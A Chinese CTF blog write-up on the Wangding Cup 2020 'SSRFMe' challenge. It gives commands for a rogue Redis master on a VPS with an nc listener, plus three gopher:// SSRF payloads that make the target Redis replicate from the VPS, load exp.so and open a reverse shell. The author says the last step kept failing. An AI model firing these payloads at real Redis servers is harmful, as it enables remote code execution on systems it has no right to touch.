SSRF打redis主从

EddieMurphy-blogs / 2024-01-23 / 原文

受不了了。

打的题目是网鼎杯2020玄武组的SSRFMe。

打了一天,都是在module load那里失败,开了vps也不行,难道是redis版本对不上?

 

话不多说,我直接上payload,实在受不了了。

[root@EddieMurphy redis-7.0.2]# redis-server redis.conf

[root@EddieMurphy redis-rogue-server-master]# python3 redis-rogue-server.py --rhost=127.0.0.1 --lhost=vps

[root@EddieMurphy ~]# nc -lvp 6663

先在vps上起一个redis和rogue,工具用的redis-rogue-server-master,含有exp.so文件,直接用,redis的rhost默认端口是6379,vps的lhost默认端口是21000。

 

然后就是gopher打url:网上的构造脚本一大把

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520vps%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520vps%25206663%250d%250aquit

第一个设置tmp为备份目录,第二个设一个filename并且设置靶机自己成为从服务器,vps上起的redis为主服务器,第三个module load exp.so,然后利用exp.so文件里的system模块RCE。

然而我第三个payload稳定报错,尝试了其他payload发现就是module load这里出错,也就是我的exp.so没传上去过。

正常情况下应该就通了,但so文件传不上去,也就会出现识别不了后面system的RCE命令。

 

但思路就是这样,还是挺清晰的。

最后我想到的问题就是会不会是我redis版本有问题,因为这个主从RCE漏洞是redis4.x~redis5.0.5版本,我本地的主redis版本为7.0.2,会不会因为这个原因导致我本地的exp.so传不到靶机的从redis上。

也希望各位大佬解惑。